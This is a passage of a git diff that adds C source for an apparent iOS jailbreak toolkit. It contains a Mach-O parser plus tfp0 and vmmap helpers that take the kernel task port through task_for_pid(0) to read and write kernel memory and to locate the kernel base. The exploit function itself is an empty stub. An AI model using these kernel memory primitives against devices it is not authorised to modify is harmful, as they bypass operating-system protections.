nreloc; /* number of relocation entries */ + uint32_t flags; /* flags (section type and attributes)*/ + uint32_t reserved1; /* reserved (for offset or index) */ + uint32_t reserved2; /* reserved (for count or sizeof) */ +} macho_section_info_t; + +typedef struct macho_section_t { + char* name; + macho_section_info_t* info; +} macho_section_t; + +/* + * Mach-O Segment Functions + */ +macho_section_t* macho_section_create(); +macho_section_t* macho_section_load(unsigned char* data, uint32_t offset); +void macho_section_debug(macho_section_t* section); +void macho_section_free(macho_section_t* section); + +/* + * Mach-O Segment Info Functions + */ +macho_section_info_t* macho_section_info_create(); +macho_section_info_t* macho_section_info_load(unsigned char* data, uint32_t offset); +void macho_section_info_debug(macho_section_info_t* info); +void macho_section_info_free(macho_section_info_t* info); + +#endif /* MACHO_SECTION_H_ */ diff --git a/patch/patch/segment.c b/patch/patch/segment.c new file mode 100644 index 0000000..fe4ef88 --- /dev/null +++ b/patch/patch/segment.c @@ -0,0 +1,139 @@ +/** + * libmacho-1.0 - segment.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "segment.h" + +macho_segment_t* macho_segment_create(void); +macho_segment_cmd_t* macho_segment_cmd_create(void); + +/* + * Mach-O Segment Functions + */ +macho_segment_t* macho_segment_create() { + macho_segment_t* segment = (macho_segment_t*) malloc(sizeof(macho_segment_t)); + if(segment) { + memset(segment, '\0', sizeof(macho_segment_t)); + } + return segment; +} + +macho_segment_t* macho_segment_load(unsigned char* data, uint32_t offset) { + unsigned char* address = NULL; + macho_segment_t* segment = macho_segment_create(); + if (segment) { + segment->command = macho_segment_cmd_load(data, offset); + if (!segment->command) { + macho_segment_free(segment); + return NULL; + } + segment->name = strdup(segment->command->segname); + segment->size = segment->command->filesize; + segment->offset = offset; + segment->address = segment->command->vmaddr; + segment->data = &data[segment->command->fileoff]; + segment->section_count = segment->command->nsects; + } + return segment; +} + +macho_section_t* macho_segment_get_section(macho_segment_t* segment, const char* section) { + int i = 0; + for(i = 0; i < segment->section_count; i++) { + macho_section_t* sect = segment->sections[i]; + if(strcmp(sect->name, section) == 0) { + return sect; + } + } + return NULL; +} + +void macho_segment_debug(macho_segment_t* segment) { + if(segment) { + debug("\tSegment:\n"); + debug("\t\t name: %s\n", segment->name); + debug("\t\t size: 0x%x\n", segment->size); + debug("\t\t offset: 0x%x\n", segment->offset); + debug("\t\taddress: 0x%08x\n", segment->address); + if(segment->command) { + macho_segment_cmd_debug(segment->command); + } + } +} + +void macho_segment_free(macho_segment_t* segment) { + if (segment) { + if (segment->command) { + macho_segment_cmd_free(segment->command); + } + if (segment->name) { + free(segment->name); + } + free(segment); + } +} + +/* + * Mach-O Segment Info Functions + */ +macho_segment_cmd_t* macho_segment_cmd_create() { + macho_segment_cmd_t* info = malloc(sizeof(macho_segment_cmd_t)); + if (info) { + memset(info, '\0', sizeof(macho_segment_cmd_t)); + } + return info; +} + +macho_segment_cmd_t* macho_segment_cmd_load(unsigned char* data, uint32_t offset) { + macho_segment_cmd_t* cmd = macho_segment_cmd_create(); + if (cmd) { + memcpy(cmd, data+offset, sizeof(macho_segment_cmd_t)); + //macho_segment_cmd_debug(cmd); + } + return cmd; +} + +void macho_segment_cmd_debug(macho_segment_cmd_t* cmd) { + + if(cmd) { + debug("\tSegment Command:\n"); + debug("\t\t cmd = 0x%x\n", cmd->cmd); + debug("\t\t cmdsize = 0x%x\n", cmd->cmdsize); + debug("\t\t segname = %s\n", cmd->segname); + debug("\t\t vmaddr = 0x%08x\n", cmd->vmaddr); + debug("\t\t vmsize = 0x%x\n", cmd->vmsize); + debug("\t\t fileoff = 0x%x\n", cmd->fileoff); + debug("\t\tfilesize = 0x%x\n", cmd->filesize); + debug("\t\t maxprot = 0x%08x\n", cmd->maxprot); + debug("\t\tinitprot = 0x%08x\n", cmd->initprot); + debug("\t\t nsects = 0x%x\n", cmd->nsects); + debug("\t\t flags = 0x%08x\n", cmd->flags); + } + +} +void macho_segment_cmd_free(macho_segment_cmd_t* cmd) { + if (cmd) { + free(cmd); + } +} diff --git a/patch/patch/segment.h b/patch/patch/segment.h new file mode 100644 index 0000000..b6aad90 --- /dev/null +++ b/patch/patch/segment.h @@ -0,0 +1,67 @@ +/** + * libmacho-1.0 - segment.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SEGMENT_H_ +#define MACHO_SEGMENT_H_ + +#include "section.h" + +typedef struct macho_segment_cmd_t { + uint32_t cmd; + uint32_t cmdsize; + char segname[16]; + uint32_t vmaddr; + uint32_t vmsize; + uint32_t fileoff; + uint32_t filesize; + uint32_t maxprot; + uint32_t initprot; + uint32_t nsects; + uint32_t flags; +} macho_segment_cmd_t; + +typedef struct macho_segment_t { + char* name; + uint32_t size; + uint32_t offset; + uint32_t address; + unsigned char* data; + uint32_t section_count; + macho_section_t** sections; + macho_segment_cmd_t* command; +} macho_segment_t; + +/* + * Mach-O Segment Functions + */ +macho_segment_t* macho_segment_create(); +macho_segment_t* macho_segment_load(unsigned char* data, uint32_t offset); +macho_section_t* macho_segment_get_section(macho_segment_t* segment, const char* section); +void macho_segment_debug(macho_segment_t* segment); +void macho_segment_free(macho_segment_t* segment); + +/* + * Mach-O Segment Info Functions + */ +macho_segment_cmd_t* macho_segment_cmd_create(); +macho_segment_cmd_t* macho_segment_cmd_load(unsigned char* data, uint32_t offset); +void macho_segment_cmd_debug(macho_segment_cmd_t* cmd); +void macho_segment_cmd_free(macho_segment_cmd_t* cmd); + +#endif /* MACHO_SEGMENT_H_ */ diff --git a/patch/patch/symbol.c b/patch/patch/symbol.c new file mode 100644 index 0000000..bdaf2db --- /dev/null +++ b/patch/patch/symbol.c @@ -0,0 +1,70 @@ +/** + * libmacho-1.0 - symbol.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +#include "debug.h" +#include "symbol.h" + +macho_symbol_t* macho_symbol_create(void); +macho_symbol_info_t* macho_symbol_info_create(void); + +/* + * Mach-O Segment Functions + */ +macho_symbol_t* macho_symbol_create() { + macho_symbol_t* command = NULL; + return command; +} + +macho_symbol_t* macho_symbol_load(unsigned char* data, uint32_t offset) { + macho_symbol_t* command = macho_symbol_create(); + return command; +} + +void macho_symbol_debug(macho_symbol_t* command) { + +} + +void macho_symbol_free(macho_symbol_t* command) { + +} + +/* + * Mach-O Segment Info Functions + */ +macho_symbol_info_t* macho_symbol_info_create() { + macho_symbol_info_t* info = NULL; + return info; +} + +macho_symbol_info_t* macho_symbol_info_load(unsigned char* data, uint32_t offset) { + macho_symbol_info_t* info = macho_symbol_info_create(); + return info; +} + +void macho_symbol_info_debug(macho_symbol_info_t* info) { + +} + +void macho_symbol_info_free(macho_symbol_info_t* info) { + +} diff --git a/patch/patch/symbol.h b/patch/patch/symbol.h new file mode 100644 index 0000000..cf4f02d --- /dev/null +++ b/patch/patch/symbol.h @@ -0,0 +1,47 @@ +/** + * libmacho-1.0 - symbol.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SYMBOL_H_ +#define MACHO_SYMBOL_H_ + +typedef struct macho_header_t { + uint32_t magic; +} macho_symbol_info_t; + +typedef struct macho_symbol_t { + macho_symbol_info_t* info; +} macho_symbol_t; + +/* + * Mach-O Segment Functions + */ +macho_symbol_t* macho_symbol_create(); +macho_symbol_t* macho_symbol_load(unsigned char* data, uint32_t offset); +void macho_symbol_debug(macho_symbol_t* command); +void macho_symbol_free(macho_symbol_t* command); + +/* + * Mach-O Segment Info Functions + */ +macho_symbol_info_t* macho_symbol_info_create(); +macho_symbol_info_t* macho_symbol_info_load(unsigned char* data, uint32_t offset); +void macho_symbol_info_debug(macho_symbol_info_t* info); +void macho_symbol_info_free(macho_symbol_info_t* info); + +#endif /* MACHO_SYMBOL_H_ */ diff --git a/patch/patch/symtab.c b/patch/patch/symtab.c new file mode 100644 index 0000000..c919714 --- /dev/null +++ b/patch/patch/symtab.c @@ -0,0 +1,127 @@ +/** + * libmacho-1.0 - symtab.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + +//#define _DEBUG +#include "debug.h" +#include "symtab.h" + +macho_symtab_t* macho_symtab_create(void); +macho_symtab_cmd_t* macho_symtab_cmd_create(void); + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t* macho_symtab_create() { + macho_symtab_t* symtab = malloc(sizeof(macho_symtab_t)); + if (symtab) { + memset(symtab, '\0', sizeof(macho_symtab_t)); + } + return symtab; +} + +macho_symtab_t* macho_symtab_load(unsigned char* data, unsigned int offset) { + int i = 0; + macho_symtab_t* symtab = macho_symtab_create(); + if (symtab) { + symtab->cmd = macho_symtab_cmd_load(&data[offset]); + if (!symtab->cmd) { + macho_symtab_free(symtab); + return NULL; + } + symtab->nsyms = symtab->cmd->nsyms; + symtab->symbols = (struct nlist*)(&data[symtab->cmd->symoff]); + debug("Found %d symbols in symtab\n", symtab->nsyms); + for (i = 0; i < symtab->nsyms; i++) { + uint32_t off = symtab->symbols[i].n_un.n_strx; + if (off >= symtab->cmd->strsize) { + symtab->symbols[i].n_un.n_name = NULL; + } else { + symtab->symbols[i].n_un.n_name = (char*)(data+symtab->cmd->stroff + off); + } + } + //macho_symtab_debug(symtab); + } + return symtab; +} + +void macho_symtab_debug(macho_symtab_t* symtab) { + int i = 0; + if(symtab) { + debug("\tSymtab:\n"); + debug("\t\tnsyms: 0x%08x\n", symtab->nsyms); + for (i = 0; i < symtab->nsyms; i++) { + struct nlist sym = symtab->symbols[i]; + if (sym.n_un.n_name) { + debug("\t\t0x%x\tname=%s\n", i, sym.n_un.n_name); + } else { + debug("\t\t0x%x\tname=(no name)\n", i); + } + debug("\t\t\tn_type=0x%02x,n_sect=0x%02x,n_desc=0x%04x,n_value=0x%08x\n", sym.n_type, sym.n_sect, sym.n_desc, sym.n_value); + } + } +} + +void macho_symtab_free(macho_symtab_t* symtab) { + if (symtab) { + if (symtab->cmd) { + macho_symtab_cmd_free(symtab->cmd); + } + free(symtab); + } +} + +/* + * Mach-O Symtab Info Functions + */ +macho_symtab_cmd_t* macho_symtab_cmd_create() { + macho_symtab_cmd_t* info = malloc(sizeof(macho_symtab_cmd_t)); + if (info) { + memset(info, '\0', sizeof(macho_symtab_cmd_t)); + } + return info; +} + +macho_symtab_cmd_t* macho_symtab_cmd_load(unsigned char* data) { + macho_symtab_cmd_t* cmd = macho_symtab_cmd_create(); + if (cmd) { + memcpy(cmd, data, sizeof(macho_symtab_cmd_t)); + //macho_symtab_cmd_debug(cmd); + } + return cmd; +} + +void macho_symtab_cmd_debug(macho_symtab_cmd_t* cmd) { + debug("\tSymtab Command:\n"); + debug("\t\t cmd = 0x%x\n", cmd->cmd); + debug("\t\t cmdsize = 0x%x\n", cmd->cmdsize); + debug("\t\t symoff = 0x%x\n", cmd->symoff); + debug("\t\t nsyms = 0x%x\n", cmd->nsyms); + debug("\t\t stroff = 0x%x\n", cmd->stroff); + debug("\t\t strsize = 0x%x\n", cmd->strsize); +} + +void macho_symtab_cmd_free(macho_symtab_cmd_t* cmd) { + if (cmd) { + free(cmd); + } +} diff --git a/patch/patch/symtab.h b/patch/patch/symtab.h new file mode 100644 index 0000000..90cbe1d --- /dev/null +++ b/patch/patch/symtab.h @@ -0,0 +1,65 @@ +/** + * libmacho-1.0 - symtab.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_SYMTAB_H_ +#define MACHO_SYMTAB_H_ + +typedef struct macho_symtab_cmd_t { + uint32_t cmd; /* LC_SYMTAB */ + uint32_t cmdsize; /* sizeof(struct macho_symtab_cmd_t) */ + uint32_t symoff; /* symbol table offset */ + uint32_t nsyms; /* number of symbol table entries */ + uint32_t stroff; /* string table offset */ + uint32_t strsize; /* string table size in bytes */ +} macho_symtab_cmd_t; + +typedef struct nlist { + union { + char *n_name; /* resolved symbol name */ + int32_t n_strx; /* index into the string table */ + } n_un; + uint8_t n_type; /* type flag, see below */ + uint8_t n_sect; /* section number or NO_SECT */ + int16_t n_desc; /* see */ + uint32_t n_value; /* value of this symbol (or stab offset) */ +} nlist; + +typedef struct macho_symtab_t { + uint32_t nsyms; + struct nlist* symbols; + macho_symtab_cmd_t* cmd; +} macho_symtab_t; + +/* + * Mach-O Symtab Functions + */ +macho_symtab_t* macho_symtab_create(); +macho_symtab_t* macho_symtab_load(unsigned char* data, unsigned int offset); +void macho_symtab_debug(macho_symtab_t* symtab); +void macho_symtab_free(macho_symtab_t* symtab); + +/* + * Mach-O Symtab Info Functions + */ +macho_symtab_cmd_t* macho_symtab_cmd_create(); +macho_symtab_cmd_t* macho_symtab_cmd_load(unsigned char* data); +void macho_symtab_cmd_debug(macho_symtab_cmd_t* cmd); +void macho_symtab_cmd_free(macho_symtab_cmd_t* cmd); + +#endif /* MACHO_SYMTAB_H_ */ diff --git a/patch/patch/tfp0.c b/patch/patch/tfp0.c new file mode 100644 index 0000000..fb5c2bd --- /dev/null +++ b/patch/patch/tfp0.c @@ -0,0 +1,109 @@ +// +// tfp0.c +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include + +#include +#include +#include +#include +#include +#include + +#include "tfp0.h" + +void tfp0_kernel_exploit(void* kernel) { + +} + +mach_port_t tfp0_get_port() { + mach_port_t kernel_task = 0; + if (!kernel_task) { + if (task_for_pid(mach_task_self(), 0, &kernel_task) != KERN_SUCCESS) { + syslog(LOG_WARNING, "Unable to run task_for_pid for kernel!\n"); + } + } + return kernel_task; +} + +int tfp0_check_map(vm_address_t address) { + kern_return_t err; + mach_port_t kernel_task = tfp0_get_port(); + vm_address_t addr = address; + vm_size_t size; + int vminfo[VM_REGION_BASIC_INFO_COUNT_64]; + mach_msg_type_number_t len = sizeof(vminfo); + mach_port_t obj; + + err = vm_region_64(kernel_task, &addr, &size, VM_REGION_BASIC_INFO, + (vm_region_info_t) & vminfo, &len, &obj); + if (err != KERN_SUCCESS) + return 0; + + if (addr <= address && address < (addr + size)) + return -1; + + return 0; +} + +vm_size_t tfp0_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + kern_return_t err = 0; + mach_port_t kernel_task = tfp0_get_port(); + + while (size > 0) { + vm_size_t to_read = (size > 0x800) ? 0x800 : size; + mach_msg_type_number_t count = (unsigned int) to_read; + + if (!tfp0_check_map(addr)) { + return -1; + } + + err = vm_read_overwrite(kernel_task, addr, to_read, (vm_address_t) buffer, &count); + + if (err != KERN_SUCCESS) { + syslog(LOG_WARNING, "vm_read(0x%lx, 0x%lx) failed\n", addr, to_read); + return err; + + } else if (count != to_read) { + syslog(LOG_WARNING, "vm_read(0x%lx, 0x%lx) short - 0x%x < 0x%lx\n", addr, to_read, count, to_read); + } + + addr += to_read; + size -= to_read; + buffer = ((uint8_t*) buffer) + to_read; + } + + return err; +} + +vm_size_t tfp0_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + kern_return_t err = 0; + mach_port_t task = tfp0_get_port(); + + if (!tfp0_check_map(addr)) { + return -1; + } + + err = vm_write(task, addr, (vm_address_t) buffer, size); + + if (err != KERN_SUCCESS) { + syslog(LOG_WARNING, "vm_write(0x%lx, 0x%lx) failed\n", addr, size); + } + + return err; +} + +vm_address_t tfp0_kernel_get(vm_address_t address) { + void* val = 0; + tfp0_kernel_read(address, &val, sizeof(void*)); + return val; +} + +void tfp0_kernel_set(vm_address_t address, void* value) { + tfp0_kernel_write(address, &value, sizeof(void*)); +} \ No newline at end of file diff --git a/patch/patch/tfp0.h b/patch/patch/tfp0.h new file mode 100644 index 0000000..7461da7 --- /dev/null +++ b/patch/patch/tfp0.h @@ -0,0 +1,22 @@ +// +// tfp0.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_tfp0_h +#define chop_tfp0_h + +#include + +mach_port_t tfp0_get_port(); + +void tfp0_kernel_exploit(void* kernel); +vm_address_t tfp0_kernel_get(vm_address_t address); +void tfp0_kernel_set(vm_address_t address, void* value); +vm_size_t tfp0_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t tfp0_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/vmmap.c b/patch/patch/vmmap.c new file mode 100644 index 0000000..afd20e2 --- /dev/null +++ b/patch/patch/vmmap.c @@ -0,0 +1,62 @@ +// +// vmmap.c +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "vmmap.h" +#include "kernel.h" + +vm_offset_t vmmap_get_slide(kernel_t* kernel) { + return 0; +} + +vm_address_t vmmap_get_base(kernel_t* kernel) { + vm_size_t size = 0; + kern_return_t kr = 0; + task_t kernel_task = 0; + vm_address_t addr = 0x81200000; + vm_region_submap_info_data_64_t info; + mach_msg_type_number_t info_count = VM_REGION_SUBMAP_INFO_COUNT_64; + unsigned int depth = 0; + + syslog(LOG_ERR, "Entering vmmap_get_base"); + kr = task_for_pid(mach_task_self(), 0, &kernel_task); + if (kr != KERN_SUCCESS) { + return NULL; + } + + while (1) { + // get next memory region + kr = vm_region_recurse_64(kernel_task, &addr, &size, &depth, (vm_region_info_t)&info, &info_count); + + if (kr != KERN_SUCCESS) break; + + // the kernel maps over a GB of RAM at the address where it maps + // itself so we use that fact to detect it's position + if (size > 1024*1024*1024) { + syslog(LOG_ERR, "Found possible range at 0x%lx with size 0x%lx", addr, size); + //vm_address_t magic = kernel->get(addr+IMAGE_OFFSET); + //if(magic == 0xFEEDFACE) { + // syslog(LOG_ERR, "Verified base address"); + // return addr + IMAGE_OFFSET; + //} + } + + addr += size; + } + + return NULL; +} \ No newline at end of file diff --git a/patch/patch/vmmap.h b/patch/patch/vmmap.h new file mode 100644 index 0000000..8fabbc4 --- /dev/null +++ b/patch/patch/vmmap.h @@ -0,0 +1,27 @@ +// +// vmmap.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_vmmap_h +#define chop_vmmap_h + +#include + +#include "kernel.h" + +#if __LP64__ +#define ADDR "%16lx" +#define IMAGE_OFFSET 0x2000 +#else +#define ADDR "%8x" +#define IMAGE_OFFSET 0x1000 +#endif + +vm_offset_t vmmap_get_slide(kernel_t* kernel); +vm_address_t vmmap_get_base(kernel_t* kernel); + +#endif